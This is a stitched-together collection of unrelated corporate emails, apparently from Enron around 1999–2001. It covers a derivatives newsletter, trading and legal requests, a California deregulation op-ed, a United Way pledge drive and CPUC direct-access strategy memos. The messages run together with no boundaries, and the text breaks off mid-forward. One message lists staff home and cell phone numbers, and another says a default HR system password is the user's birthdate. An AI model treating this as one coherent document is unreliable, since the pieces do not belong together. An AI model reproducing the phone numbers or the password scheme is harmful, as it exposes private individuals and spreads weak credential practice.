London-based broker Tullett & Tokyo Liberty was back in the news again for
alleged racial discrimination. Laurent Weinberger, a broker on the new
issues desk until last May, initiated a racial discrimination and unfair
dismissal case against his former employer this week. Previously the firm
had a run-in with client Citibank, when a Tullett employee allegedly made
racist comments to a Citi official (see People).

Christopher Jeffery
Editor, RiskNews

Tel: 44 (0)20 7484 9880
mailto:cjeffery@riskwaters.com

This is the last week to book for OpRisk 2001(New York, 8 & 9 Feb)!
OpRisk 2001 is the first conference to bring together leading experts to
discuss the revised Basel consultation paper in depth. Due to overwhelming
demand we've decided to extend the Operational Risk promotion deadline for
you. Click here to order your FREE copy (worth $70) of the February issue
of the Operational Risk newsletter http://www.risk.net/oprisk/freeissue.htm

RiskNews Update - 02/02/01

Headlines/ Technology and Exchanges/ People/ Events

Headlines - 02/02/2001

2 February - Continuous Linked Settlement, the pan-industry initiative to
reduce FX settlement risk, is set to go live in October having passed a
recent internal review

1 February - Deutsche Bank's plan to axe around 2,600 staff following a
restructuring of its operations into two business groups - a move the bank
claims will lead to savings of e1.5 billion through to 2003 - will have a
negligible impact on its derivatives business

1 February - Britain's financial watchdog, the Financial Services
Authority (FSA), has given a warning that credit derivatives will face
higher capital charges than traditional bank guarantees under planned
reforms to the Basel Capital Accord

31 January - With US banks in the unusual position of being challenged for
dominance in the global forex business by firms such as Deutsche Bank,
Bank of America plans to implement new tactics that include getting closer
to its traditional US customers

30 January - ABN Amro's decision to buy a large slice of ING Barings'
North American investment banking operations for $275 million will result
in a major boost for its derivatives business, according to senior
officials at the bank

30 January - Greece's membership of the euro-zone and recent efforts by
its Central Bank to modify its bond issuance policy to match EuroMTS
listing criteria has resulted in three Greek government bonds being
offered on the EuroMTS trading system

29 January - Salomon Smith Barney has created a new global interest rate
and derivatives products group, following an overhaul of its fixed-income
and derivatives businesses, according to an SSB internal memo

To read more now, click http://www.risknews.net

You will find hundreds of FREE Risk magazine articles, website reviews and
back issue content from the last four years are available from Risk.net.
If it isn't available online, you can order back issues & articles too.
This link will take you through to the Special reports section of the
site: http://www.risk.net/supplements/supplements.html

Technology and Exchanges - 02/02/2001

31 January - New York-based B2B electronic market-place provider eSpeed
plans to expand and extend its licensing efforts in 2001, and has
appointed David Bullock to become global head of its private label division

31 January - The Sydney Futures Exchange (SFE) and the Hong Kong Exchange
and Clearing (HKEx) have formed a strategic alliance to develop a range of
new derivatives trading and clearing services for the Asia Pacific
exchange-traded and over-the-counter market-places

30 January - The Frankfurt-based European Energy Exchange (EEX) will
launch electricity futures trading on March 1. This is likely to make it
the first German power exchange to offer derivatives trading

29 January - Patsystems, the electronic trading systems provider, has
upgraded its service to include access to the London and German stock
exchanges in an attempt to boost its coverage of European equities and
derivatives

29 January - US software developer NovaPlex Technologies has launched a
new online FX trading system for spot, forwards and options foreign
exchange trading, called NovaPlex Trading Network (FX Edition)

29 January - The second largest US options exchange, American Stock
Exchange (Amex), has elected four members to its board of governors,
including Thomas Sheridan, managing director of global equity derivatives
at Salomon Smith Barney. Sheridan replaces Goldman Sachs' Leslie Tortora

NEW! A new market demands a new magazine. Telecoms Capacity provides
unique coverage and essential information for the rapidly expanding
bandwidth, minutes, IP packets and wireless sectors. Click
http://www.TelecomsCapacity.com for your FREE copy of the launch issue.
People - 02/02/2001

2 February - The Nasdaq Stock Exchange has appointed Hardwick Simons to
take over the chief executive officer role previously held by Frank Zarb,
with immediate effect

2 February - The Singapore Exchange (SGX) has made two new hires to head
its derivatives clearing and securities trading divisions

1 February - Laurent Weinberger, a broker on the new issues desk at
London-based brokers Tullet & Tokyo Liberty until last May, this week
initiated a racial discrimination and unfair dismissal case against his
former employer

1 February - Bank of America has expanded its global derivatives group in
Europe, naming senior hires for its structured securities and quantitative
research teams

31 January - Commerzbank Securities has named seven new hires to join its
derivatives and fixed-income team in New York as part of an aggressive
drive into the North American market

31 January - Daniel Rappaport, chairman of the New York Mercantile
Exchange will not seek re-election for a fifth term, ending eight years
heading the derivatives exchange

31 January - Morgan Stanley Capital International has hired Michel
Serieyssol from Bear Stearns to become global head of its hedge fund index
business

The Risk Awards 2001 will be presented at  "Risk 2001 Europe" - Risk's 6th
annual European derivatives & risk management congress to be held in
Paris, April. Click here for the event details:
http://www.risk-conferences.com/risk2001euro

The Risk Awards 2001 are available from www.risk.net/risk2001

==================================================================
Events - 02/02/2001

Events

Last week to book ...

OPRISK 2001 New York
February 8 & 9 2001

The first conference to bring together leading experts to discuss the
revised Basle consultation paper in depth.

OpRisk provides the opportunity for all involved in operational and
operations risk to learn how those at the forefront of management and
measurement techniques have addressed the current industry challenges.
Experts from the world's leading financial institutions, leading academics
and solution providers will detail the approaches that can be utilised or
adapted within your operational risk management environment.

ONLY A FEW PLACES LEFT.

For further information or to reserve your place visit
http://www.risk-conferences.com/oprisk2001 or call +44 (0)20 7484 9898

Other conferences coming soon ...... http://www.risk-conferences.com

Dealing with Technology 2001, New York (Feb), click
http://www.waters-conferences.com/dealing.htm
Risk 2001 Europe - Paris 10 & 11 April 2001

Other training courses coming soon ...... http://www.risktraining.com

Practical applications of Advanced Stress Testing - for integrated risk
measurement and management - London 5 & 6 February 2001 / New York 12 & 13
February 2001

Advanced Credit Risk Measurement and Modelling Techniques for effective
portfolio credit risk management - New York 8 & 9 February 2001  / London
15 & 16 February 2001

All of Risk Waters Group online services can be accessed through
http://www.riskwaters.com

To unsubscribe, write to financewise-unsubscribe@listbot.com

Would you send me the Gas Daily's for Henry Hub, Transco St 65, Transco St 
45, Tetco Wla, Tetco Stx, and Tetco Ela for the last year please.

Thanks

Jacoby's assistant just called and wanted your home address.  Apparently Ben 
is going to send you something or someone (manicurist/pedicurist) to your 
home.  I told her you liked champagne too if he wanted to get you a beverage 
and also that you would be leaving to go celebrate your daughter's birthday a 
little later this afternoon.  I didn't want them sending out someone and you 
not be there.  I can see you now with the phone in one hand and a manicurist 
on the other or better yet, a glass of bubbly!

Attached are the draft message points.  As always, all comments, suggestions, 
etc. are encouraged and welcome.  I have five minutes.  Consequently, based 
on what other panelists say, and general tenor of the hearing, may end up 
emphasizing some points more and others less in opening, and use any Q & A to 
round things out.  Joe/Mary:  any final word on format/participants?  Thanks.

Best,
Jeff

If needed in reviewing the V@R calculations, the following persons have been 
identified as contacts for questions over the weekend:

 Natural Gas  Jeff Gossett   Home:  281-358-7546 (Kingwood # - may be long 
distance) 

 Power   Jenny Latham  Home:  713-977-4904
         Cell:      713-443-5367

 Global Products  Scott Earnest  Home:  713-436-1102
         Cell:     713-825-5470
 
 Other    Mike Moscoso  Cell:       713-825-0543

     Sally Beck    Home:   281-370-8568
         Cell 1:    713-417-1591
         Cell 2:    713-299-1436   

Jaime:
Could you please send me the English version of this?  Alos, Mark Taylor and 
I will be talking with our Mexican  counsel tomorrow morning and I will 
update you after our call.

EB 3892

	07/11/2000 12:51 PM
		 
		 To: Carol St Clair/HOU/ECT@ECT, Leonardo Pacheco/Corp/Enron@Enron, Eric 
Thode/Corp/Enron@ENRON
		 cc: 
		 Subject: Cover letter with Lawyer's suggestion - WITH FILE - SORRY

---------------------- Forwarded by Jaime Williams/NA/Enron on 07/11/2000 
12:52 PM ---------------------------

Jaime Williams
07/11/2000 12:50 PM
To: Carol St Clair/HOU/ECT@ECT, Leonardo Pacheco/Corp/Enron@Enron, Eric 
cc:  

Subject: Cover letter with Lawyer's suggestion

Guys, just senidng you the cover letter that will go to our customers 
whenever we are ready...Carol, I included the wording provided by our Mexican 
Lawyer..Let me know...Thanks. 

Attached is PIRA's extended Daily Demand Report.

Please contact Morris Greenberg and Victoria Watkins for more information
regarding these reports at [mailto:morris@pira.com] and
[mailto:vwatkins@pira.com], respectively. For distribution requests, contact
John Graziano at [mailto:jgraziano@pira.com]. We can all be reached at (212)
686-6808.

 - ed041801.pdf 
 - ed041801.xls 

FYI.
---------------------- Forwarded by Jeff Dasovich/SFO/EES on 08/18/2000 11:01 

Susan M Landwehr
08/17/2000 11:36 AM
To: Richard Shapiro/HOU/EES@EES, Harry Kingerski/HOU/EES@EES, Jeff 
Dasovich/SFO/EES@EES
cc: Roy Boston/HOU/EES@EES, James D Steffes/HOU/EES@EES, Janine 
Migden/DUB/EES@EES 
Subject: O'Connor Op-Ed Piece - California

a little opinion piece from our friend at New Energy, Phil O'COnnor
---------------------- Forwarded by Susan M Landwehr/HOU/EES on 08/17/2000 
01:22 PM ---------------------------

"Fein, David I. - CHI" <david.fein@piperrudnick.com> on 08/17/2000 11:20:48 AM
To: "'Susan_M_Landwehr@enron.com'" <Susan_M_Landwehr@enron.com>, 
"'rboston@enron.com'" <rboston@enron.com>
cc: "Townsend, Christopher J. - CHI" <chris.townsend@piperrudnick.com>, 
"Skey, Christopher N. - CHI" <christopher.skey@piperrudnick.com>, "Way, Karen 
S. - CHI" <karen.way@piperrudnick.com> 

We thought that you would find the attached Op-Ed piece that appeared in the
Chicago Tribune today of interest.

PLEASE DON'T SHOOT THE MESSENGER
DEREGULATION NOT THE PROBLEM
By Philip R. O'Connor. Philip R. O'Connor is president of Chicago-based
NewEnergy Midwest, the leading provid-er of...
August 17, 2000
The firestorm raging in the San Diego area that devours homes and likely
will be followed in the spring by mudslides that will carry homes into
ravines isn't what Midwesterners are used to.
But there's no blaming Bad Ol' El Nino this time. The firestorm that has
everyone pointing fingers has to do with electric power shortages, rolling
blackout warnings and summer utility bills that have soared two and
threefold over last summer's.
To avoid "wearing the jacket," (in our Chicago patois), California's
voter-shy public officials and utility executives are blaming Bad Ol'
Deregulation.
Understandably, but regrettably, the media have tended to follow the story
line that electricity deregulation is to blame. Such stories could well
create worry that deregulation in Illinois and elsewhere in the Midwest will
lead to San Diego-style problems.
If anything, deregulation in the Midwest is avoiding the fundamental errors
California made, not only during the two years of deregulation but during
the decade preceding deregulation. In the summer of 1998 the Midwest had
some close calls of its own when triple-digit temperatures drove wholesale
electric prices for certain midday hours to as much as 100 times the normal
price.
The reigning theories in the California panic today are much like the myths
that emerged in the Midwest back then. There were allegations of price
gouging by power producers and warnings that we were moving too fast toward
deregulation--even though there was no retail deregulation and competition
in the Midwest at that time. In fact, it was the lack of retail,
customer-level competition that allowed the wholesale market to fly
completely out of control. Since 1998, the Midwest has begun to get its act
together.
In California, the initial reactions are to put the toothpaste back in the
tube and to burn the witch. But my native state still will need to face up
to its legacy of thinking, "I'll do that tomorrow," while at the same time
trying to regulate free markets as if there were no tomorrow.
Deregulation, which started in California in the spring of 1998, is but a
messenger of painful truths. The truth is that the chickens are coming home
to roost and that any attempt to retreat into the past will produce more
power shortages and higher prices.
There are some big differences between Illinois, the first state in the
Midwest to open up the electric network for customer choice, and California,
the first state in the nation to open up the network for competition.
In spite of a booming California economy spurring massive increases in
electrical demand, not one new power plant came on line during the
1990s--and none since. California thought it could rely on power plants in
other western states, but those plants are now serving growing loads in
their own areas.
In Illinois and elsewhere in the Midwest, new clean natural gas-fired plants
are able to serve during periods of peak demand. Gov. Ryan has convened a
committee to review state and local government handling of proposed "peaker"
plants. It seems likely to keep strict environmental standards in place
while helping to identify ways to reduce uncertainties, speed up
approvals--or disapprovals--and thereby reduce costs and improve power
reliability.
While the Midwest is realizing the benefit of newly constructed transmission
lines that allow access by Chicago and other areas to competitive power
supplies, many areas in California, remain too dependent on just a few local
power plants.
In California, once a utility finishes collecting "stranded-cost" charges to
pay off investments in nuclear plants and high-cost power contracts, price
caps for plain, old utility service based on rates in place prior to
deregulation are lifted. That's why San Diego Gas & Electric, the first
utility to finish collecting stranded costs, merely had the job of acquiring
power in the wholesale market and passing along the cost to customers who
had not switched to new competitive suppliers.
In Illinois and Ohio, by contrast, utility rates are capped at reduced
levels for at least five more years for customers who do not switch.
Illinois and the Midwest have stayed away from such Rube Goldberg
contraptions as the California Power Exchange that was supposed to serve as
a sort of mandatory clearing house for wholesale power transactions but
instead became a sort of private regulator that regulated no better than the
government used to.
The rules of the game in the Golden State could not have been more skewed
against giving opportunities for customers to switch to new competitors or
to take other precautions to avoid high summer power prices during an
unexpected heat wave. My NewEnergy colleagues in California have faced an
ever shifting set of increasingly inhospitable rules. In Illinois, utilities
and new competitive suppliers, have had more flexibility to offer products
that let customers choose between fixed prices that balance out the ups and
downs of the market or prices that float with the seasons.
Importantly, Illinois regulators have been reasonably quick to approve
proposals that let utilities and new suppliers, such as my company, work out
contracts with commercial and industrial customers to reduce their
electrical demand during peak summer hours in return for payments. Such
arrangements, less available in California, are key to avoiding blackouts
and blunting big-price spikes.
As chairman of the Illinois Commerce Commission from 1983 through 1985, I
remember when the costs of new nuclear plants showed up in electric
rates--today's stranded costs. I know what California utility commissioners
must be going through as they seek solutions for problems with roots going
back at least a decade. They'd better have thick skins and nimble minds.
I'll never forget former Gov. Jim Thompson, whose 1982 campaign I co-managed
and who appointed me to the ICC, saying, after several big rate increases,
the political equivalent of "I've never seen this man before in my entire
life." Having been yelled at on the bus by angry consumers a few times on
the way to the office, I could only be happy that Thompson had the good
political judgment to say, "I know not the man," on his own without my
prompting. I felt proud, not betrayed.

David I. Fein
PIPER MARBURY RUDNICK & WOLFE
203 North LaSalle Street
Suite 1800
Chicago, Illinois  60601
312-368-3462
(Fax) 312-630-7418
david.fein@piperrudnick.com

The e-mail address and domain name of the sender changed on November 1, 
1999.  Please update your records.

The information contained in this communication may be confidential, is 
intended only for the use of the recipient named above, and may be legally 
privileged.  If the reader of this message is not the intended recipient, you 
are hereby notified that any dissemination, distribution, or copying of this 
communication, or any of its contents, is strictly prohibited. If you have 
received this communication in error, please re-send this communication to 
the sender and delete the original message and any copy of it from your 
computer system.
Thank you.

For more information about Piper Marbury Rudnick & Wolfe, please visit us at 
http://www.piperrudnick.com/

As of 1:00 pm Monday, August 13, Enron Wholesale Services had reached $859,878 in pledges for the United Way, which is 67.39% of our campaign goal of $1,276,000 and the EWS participation rate is 34.88%.

If you are part of the 65% who have yet to access the system, we need your help!  Not only do we want to reach our monetary goal, but more importantly, we want to reach 100% participation.  To access the system, use the following instructions:

Click on https://hrglobal.enron.com to make a contribution or learn more about this year's campaign. You will need your GIS ID (which is your "9" number, not your "P" number) and password.  If you have never accessed the HR global system, then your password is your birthdate (format: YYYYMMDD).

If you are not sure what your ID and password are, please go to https://ehronline.enron.com, click the "Accept" button, and then click on "Forgot your User ID or Password?"  If you have questions regarding access, please call the HRGIM help desk at ext. 3-5666.

Below are the pledge totals and participation rates by business unit/functional group:

	GROUP			PLEDGES	% Participation
	EA			$152,531	31.01%
	EBS			$68,398		10.43%
	EEOS			$62,221		66.17%
	EGM			$114,552	39.35%
	EIM			$79,184		47.09%
	ENW			$174,680	33.90%
	EWS Bus. Analysis	$38,667		83.49%
	EWS Bus. Dev.		$13,558		100.00%
	EWS HR		$17,417		50.70%
	EWS Legal		$53,610		51.09%
	EWS Research		$22,373		61.70%
	EWS Treasury		$17,981		100.00%

From a corporate perspective, EWS is in 3rd place for both participation and in % of goal reached.  Here are the other groups' totals:

	GROUP			PLEDGES	% Participation		% of Goal
	ETS			$237,379	61.09%			68,61%
	Corporate		$555,569	38.42%			70.77%
	EES			$252,636	30.18%			51.24%
	Enron-wide		$1,905,462	37.19			65.71%

Please log-on today and make your pledge.  Houstonians in need are counting on you.

Thanks for your note and welcome back to Enron.  I am so pleased that you 
have returned.  I, too, look forward to working with you.  --Sally 

Ryan Seleznov@ENRON
01/26/2001 10:28 AM
Sent by: Ryan Seleznov@ENRON
cc:  

Sally, congratulations on your promotion! 

I am really looking forward to working with you and your team and have 
scheduled some time to visit with you on 2/5.

Ryan

Commissioner Wood has issued extensive questions on direct access, continuing his harassment of ESPs.  He raises the issues of moving the termination date back from September 20 and supposed cost shifting.  He also asks for copies of contracts with customers and extensive information about those contracts. Comments are due Nov 2 with replies due Nov 8.  We plan to respond aggressively through our coalition, Alliance for Retail Energy Markets (AReM). We WILL NOT be providing any contract information.
 
Ike, given our schedules, it appears that e-mail may be the most effective 
communication tool.  

I thought I would just follow up on progress being made in TVA on our 
settlement process.  As well, I understand that there has been a number of 
communications between TVA and Enron on the NoxTech emissions business.  I 
have encouraged the Enron folks to pursue this opportunity with TVA given the 
larger dialogue.  The Enron team has told me that TVA  wishes to move to firm 
pricing and a MOU on this technology.  Given the larger dialogue, I have 
suggested to our team to hold tight on completing the agreement until both 
TVA and Enron have a view on where the overall settlement discussions are 
going.  

Please give me a call at your earliest convenience.

Regards
Dave Delainey

This is an ECM deal which is supposed to fund Thursday, Sept. 30.  Would 
someone please review the tax rep modifications?  We just received the 
attached at 5:45 pm this evening.  Thanks.  SS
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 09/29/99 06:17 

"Loan-Anh Tran Kao" <lkao@mayerbrown.com> on 09/29/99 03:56:33 PM
cc:  
Subject: Fwd:Schedule to the Master Agreement/ Barclays/ ISDA

Loan-Anh Tran Kao
Mayer, Brown & Platt
(713) 547-9684

____________________Forward Header_____________________
Subject:    Schedule to the Master Agreement/ Barclays/ ISDA
Author: Loan-Anh Tran Kao
Date:       9/29/99 3:47 PM

Per Quan Vu's request, attached is the revised Schedule to the Master 
Agreement
marked against the version distributed by Enron.  Also attached is a clean of
the same.

Please call me if you would like to discuss the changes as Quan will be at 
Enron
for the rest of the afternoon.

Regards.

 - 24377038.WPD
 - 24376908.WPD

Larry....5/15 deal # 612055.1 and trans. id 5062820, 5064308 & 5064505 
EnPower is showing 561 mw more than NY.  Could you please advise? 

Thanks,
Jim Cashion

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[IMAGE]

From: 	Webb, Elizabeth  
Sent:	Monday, October 29, 2001 10:19 AM
To:	Webb, Elizabeth; Greif, Donna; Muzzy, Charles T.; Dinari, Sabra L.; Driscoll-Ernest, Marde L.; Lamadrid, Victor; Kinsey, Lisa; Sullivan, Patti; Williams, Jason (Trading); Farmer, Daren J.; Smith, George F.; Olinger, Kimberly S.; Jaquet, Tammy; Calcagno, Suzanne
Cc:	Superty, Robert; Nicholie, Suzanne; Saldana, Roxanne; Jackson, Brandee; Saldana, Alex
Subject:	RE: OPM - October 2001

Hi, 

This is just a friendly reminder that I need your OPM hours surveys for October no later than today at 5pm.  If you have already sent the hours to me, please disregard this message. 

Thanks for your time and assistance.  Please call me with any questions. 

Thanks, 
Elizabeth 
 << File: OPM October Totals.xls >> 

Sent:	Thursday, October 25, 2001 8:49 AM
Subject:	OPM - October 2001

Hi All, 

Attached is the OPM Monthly Hours Survey for October.  I need this returned to me no later than next Monday, October 29th at 12 noon.  

Please do the following: 

1.)  Please click on your region's / cost center's tab in the attached spreadsheet and enter the appropriate percentages 
     of time that you and your employees spend on each of the tasks listed in the spreadsheet.   

2.) Please verify that the Charge Allocations listed in the spreadsheet are correct and that the correct percentages are allocated to each of the trading desks.  

3.)  Please note that the percentages currently in the spreadsheet are from last month.  Please change any of these numbers as is appropriate to reflect October's activities.  

4.) Please make any other changes that may be needed regarding employees, titles, etc.  

Please note that the spreadsheet is located on   O:/logistics/management/time allocation/OPM October Totals 

Thank you so much for your cooperation in this matter.  If you have any questions, please let me know. 

Thanks, 
Elizabeth 

Elizabeth Webb 
elizabeth.webb@enron.com
713-345-1694

---------------------- Forwarded by Chris Dorland/CAL/ECT on 02/15/2000 02:49 

"Una Chan" <una.chan@sigmariskanalytics.com> on 02/15/2000 02:31:53 PM
Please respond to una.chan@sigmariskanalytics.com
To: Chris Dorland/CAL/ECT@ECT
cc:  
Subject: FW: Una L. Chan

Hi Chris,

I thought I would send you my new business vCard and a brief description of
my service offerings. I will be sending out hard copies of my business cards
in a few weeks or if I see you at CERI in Calgary, I can give you one then.

SigmaRisk Analytics is a risk management consulting firm for natural gas,
electricity and oil.  Service offerings include evaluation of physical and
financial strategies, risk evaluation and audits, design and implementation
of risk management programs (Front, Middle and Back Offices), risk
management software evaluation, and educational seminars.

Regards,
Una

Una L. Chan, P.Eng., MBA
Principal
SigmaRisk Analytics
Tel: 604-469-2892
Fax: 604-469-2832
E-mail: una.chan@sigmariskanalytics.com

 - Una L  Chan.vcf

**  REVISED MEETING NOTICE  **
Please be advised that there will be a meeting held on Monday, November 19,
2001 from 2:00-3:00 p.m. at the Dynegy offices on the 67th floor in the
Boardroom.  The topic of discussion will be "Near & Long-Term Financial
Commitments".  The meeting participants are as follows:
                            Mark Palmer - Enron
                            Mark Koenig - Enron
                            Steve Kean - Enron
                        Keith Fullenweider - Dynegy
                            Meg Nollen - Dynegy
                          Debbie Fiorito - Dynegy
                           Art Shannon - Dynegy
                            John Sousa - Dynegy

If you will be unable to attend this meeting, please contact Sheryl Lara at
713-767-6273.  Many thanks!

Sheryl D. Lara
Assistant to Meg Nollen
Dynegy, Inc. - Investor Relations
1000 Louisiana, Suite 6700
Ph: 713-767-6273
Fax: 713-767-8288

BW2017  OCT 29,2001       2:31 PACIFIC      05:31 EASTERN

( BW)(TX-INDUSTRIAL-INFO-RES) Expansion Brewing at Coors, in an
Advisory by Industrialinfo.com

	   HOUSTON--(BUSINESS WIRE)--Oct. 29, 2001--The following is an
advisory by Industrialinfo.com (Industrial Information Resources Inc.;
Houston, Texas). The country's third largest beer brewer, Adolph Coors
Company (NYSE:RKY) (Golden, Colo.), is underway with a $68 million
program to increase brewing capacity through an expansion at their
Memphis, Tennessee brewery. The program began over a year ago with the
goal of increasing brewing capacity by a million barrels per year.
	   The challenge is to increase capacity without having to shut down
and lose the current 3.8 million barrel per year production volume.
Utilizing in-house engineering talent and support from alliance
engineering firm Jacobs Engineering Group (Pasadena, Calif.), Coors
has developed a plan to achieve this through strategic replacement of
old equipment and automation integration. The project also involves
implementation of a new technology, which removes oxygen that can be
harmful to malt during the brewing process.
	   With all of these systems in place along with brewing and
packaging debottlenecks, Coors hopes to achieve its goal of increasing
capacity by February of 2003. Peter H. Coors, chairman of Coors
Brewing Company, added, "The beer industry has had a flat year;
however, the company has high expectations from the Memphis brewery
and its ability to increase volume."
	   Coors reported net sales of $1.87 billion for the first three
quarters of this year and have released third quarter net income
increase of thirteen percent compared with the same period last year.
Coors brews about 23 million barrels per year between its Golden,
Colorado and Memphis, Tennessee breweries, making it the third largest
domestic brewer.
	   For more information on trends and upcoming construction
activities in the Food and Beverage market as well as other industrial
sectors send inquiries to foodandbeveragegroup@industrialinfo.com or
visit us at www.industrialinfo.com.

    --30--LS/na*

    CONTACT: Industrial Information Resources Inc., Houston
             Jay Brunson, 713/783-5147

    KEYWORD: TEXAS TENNESSEE COLORADO CALIFORNIA
    INDUSTRY KEYWORD: FOODS/BEVERAGES

Was there supposed to be an attachment to the e-mail or are these coming 
inter-office?

Karen Lambert
10/01/99 05:34 PM
To: Mark E Taylor/HOU/ECT@ECT
cc: Bob Shults/HOU/ECT@ECT, Connie Sutton/HOU/ECT@ECT 
Subject: EOL ETA's & Electronic Trading Partner Agreements

I am forwarding for your review a copy of all Electronic Trading Partner 
contracts.  Please let me know if you require any additional information.

Thank you,
Karen
x3-0605

Scott: Steve Kean and I discussed a conversation that Tom Gros had with him 
regarding assistance relating to the WTO. You will recall that Carla Hills 
and Company is providing assistance to the US WTO Energy Services Coalition 
and I raised the issue of e-commerce with Bob Fisher of that company this 
morning. He was kind enough to send the attached paper which will of of 
interest to you.

I also spoke with Allan Miller of EDS who is leading the Coalition of Service 
Industries e-commerce effort and he briefed me on several WTO related matters 
likely to be considered during the three or so years of upcoming 
negotiations. I believe several of those issues especially the desire of the 
US e-commerce industry to fight efforts by the Europeans to restrict 
cross-border committments, add costly regulation (the US e-commerce industry 
opposes regulation but does want to have services addressed) and achieve 
technical neutrality are potentilly important to ECI.

Allen is also sending me a paper that I will forward to you.

You were good to introduce us to Steve Miller of your Washington, DC law firm 
group who is experienced in global regulatory and trade developments. He sent 
us both several e-mails but I (for fear of running up legal bills 
unnecessarily) but I have never responded nor asked him to get involved.

We plan to have an addition to our Washington staff in January or February of 
an executive who can address these matters globally.

After you or your ECI collegues reviews the various papers, I would be 
pleased to review your priorities relating to WTO.

Regards,

Joe
---------------------- Forwarded by Joe Hillings/Corp/Enron on 11/15/99 02:09 

"Robert C. Fisher" <RCFisher@HillsandCo.Com> on 11/15/99 02:31:56 PM
To: Joe Hillings/Corp/Enron@ENRON
cc:  

Subject: Energy Services and E-Commerce

Joe -- per our discussion this morning, attached are papers we gave to
Bill Thomas's staff related to energy services and e-commerce.  Our
understanding is that Mr. Thomas plans to circulate the materials to
other members.

If there is anything we can do to help you on e-commerce, just let us
know.

Regards -- Bob

 - Environment-energy~services~paper~11-99.doc
 - E-commerce~paper~11-99.doc

On October 2, I, Aaron Klem and our outside attorney, Jeanne Bennett, met with other ESPs, the utilities, and the Energy Division staff of the CPUC to hammer out an agreement on implementing the CPUC's order suspending direct access (DA) and handling continued submission of DASRs.

It was news to the utilities that ESPs have many contracts --  most several years old -- that allow for addition and subtraction of facilities throughout the contract term.  The utilities had thought that cutting off DASRs would be the best way to enforce the CPUC's order without having to review contracts (which they don't want to do). After much discussion and debate, the participants agreed to make a joint filing at the CPUC seeking quick action.

Most agreed on the following plan (with the CPUC staff to check on the appropriate procedural vehicle):
We will endeavor to reach agreement on a joint filing at the CPUC to modify Rule 22 (the rule that governs CPUC/ESP interactions) (a Petition to Modify was also discussed as a vehicle) - a small working group of attorneys has been set up to draft this.  The group includes Jeanne Bennett and Dian Grueneich, who represents UC/CSU.
The new Rule 22 will add a section that acknowledges the CPUC action and sets forth therein (or in an Appendix) a verification procedure.
Each ESP will submit a list of customers by this Friday, October 5, for ALL contracts -- existing and new -- to each utility. It will be diificult and perhaps impossible to add customers later, so be complete.
Each ESP will submit to each utility the account level information for each customer on the list by November 1. All customer accounts should be on this list including facilities that have not yet been switched to DA, but may be switched sometime in the future.  Also, to the extent customers have plans for new facilities, put them on the list -- even if we do not yet have account information. Anyone who has the right to add DA later needs to be on the list.
Any DASR submitted for an account on the November 1 list will be accepted by the utilities -- no matter when it is submitted.
Additional accounts not on the November 1 list can be added through a verification process, such as an affidavit submitted by the ESP or by both the ESP and the customer.  This process is being worked out by the attorney working group.
The CPUC will be asked to approve this approach quickly.  

There is risk that the CPUC will NOT approve the approach and will cutoff DASRs on some date certain, in which case legal action would be required to allow for futher submission of DASRs. Steve Roskow of CPUC Energy Division said the CPUC has two factions -- one wants to cut off DA and the other wants it to continue.  He could not guarantee how the CPUC will respond to the joint approach.  He also mentioned that there are many lawyers at the CPUC looking at the retoactivity issue and the Commission's ability to affect existing contracts. Several participants, including Enron, UC/CSU and APSES, made strong statements about the legal problems the CPUC would face if they go down that road.

The utilities will be making a filing at the CPUC tomorrow that describes the steps they have taken to enforce the order.  PG&E and SDG&E will discuss the meeting and the joint plan -- PG&E may also say it will stick with some DASR cutoff date unless it hears otherwise from the CPUC.  SCE did not attend the meeting in person and at the end made clear that they had not agreed with the joint plan.  SCE is sticking with its original plan -- a customer and account list by September 24 and a DASR cutoff of October 20, no DASR accepted unless the name is on the customer list. The Energy Division staff is trying to move SCE off this position but I believe it comes from "on high."  We'll take our own run at it through a higher level at SCE. For now, we should continue to submit DASRs and follow the proposed joint plan and just keep records of our interactions with SCE (and the other utilities as well). If the situation does not improve in the next few days, we will reassess.

There is also the risk that the CPUC will not act on the joint approach quickly, leaving these issues in limbo and the utilities assuming "risk" that they have done the wrong thing and will be "punished." Not surprisingly, the utilities seem to favor a drop dead date for DASR submission, as a way to minimize this risk.  During the course of the meeting, the utilities mentioned a "compromise" of January 1, 2002 for a DASR cutff date.  They thought this would give the CPUC time to act on the joint plan, but allow them to minimize their risk in the event the CPUC decides that the utilities should have cutoff DASRs from the beginning.  This notion may appear in the filings to be made tomorrow.  I told them that any drop-dead date for DASR submission would be unacceptable to Enron. UC/CSU said the same.  A few ESPs seemed ready to accept the 1/1/02 cutoff but most do not.

Call with any questions.

Sue Mara
(415) 782-7802

thank you.  if you get a chance, give a jingle and give me the brief rundown 
on where we left off on part 1.  thanks.

Thanks anyway...I eventually tracked it down yesterday.  

And yes, the real world emphatically sucks.  Emily's got the right idea, avoid it at all costs.  Still, work's going all right for me.  My hours have dramatically improved, which is nice, and they actually let me take time off for vacation.  I'm reserving the weekend Emily mentioned in September so hopefully I'll see you there.

Susan

From: 	"Brittany Doty" <brittanydoty@hotmail.com>@ENRON [mailto:IMCEANOTES-+22Brittany+20Doty+22+20+3Cbrittanydoty+40hotmail+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Thursday, August 02, 2001 6:47 PM
To:	Scott, Susan M.
Subject:	Re: hey girls

Hey Susan-
I don't have Emily's number.  I am 100% useless.  I just started school
today.  Wow!!  How's work going?  The real world sucks.  I would love to see
you in September in NB.
Brittany

>From: "Scott, Susan M." <Susan.M.Scott@ENRON.com>
>To: <arden_ellis@hotmail.com>, <brittanydoty@hotmail.com>
>Subject: hey girls
>Date: Thu, 2 Aug 2001 14:29:21 -0500
>
>hello....long time no see.  how are y'all doing these days?
>
>i'm actually writing bc i've misplaced em's phone number in london and
>wanted to give her a buzz.  do either of you have it on hand?  if so,
>could you please email it back to me.  thanks
>
>em also mentioned something about NB in mid Sept...i'd love to see y'all
>if you decide to meet up with her.
>
>Susan
>
>

----- Forwarded by Jeff Dasovich/NA/Enron on 05/09/2001 04:32 PM -----

	05/09/2001 04:00 PM
		 
		 To: <ray.alvarez@ei.enron.com>, <acomnes@enron.com>, <dfulton@enron.com>, 
<jdasovic@enron.com>, <jsteffe@enron.com>, <smara@enron.com>, 
		 cc: 
		 Subject: Fwd: Calif. regulators propose tiered electric rate rise

----- Message from "Tracey Bradley" <tbradley@bracepatt.com> on Wed, 09 May 
2001 15:50:17 -0500 -----
To:	"Justin Long" <jlong@bracepatt.com>, "Paul Fox" <pfox@bracepatt.com>
cc:	"Ronald Carroll" <rcarroll@bracepatt.com>
Subject:	Calif. regulators propose tiered electric rate rise
Wednesday May 9, 4:34 pm Eastern Time
Calif. regulators propose tiered electric rate rise
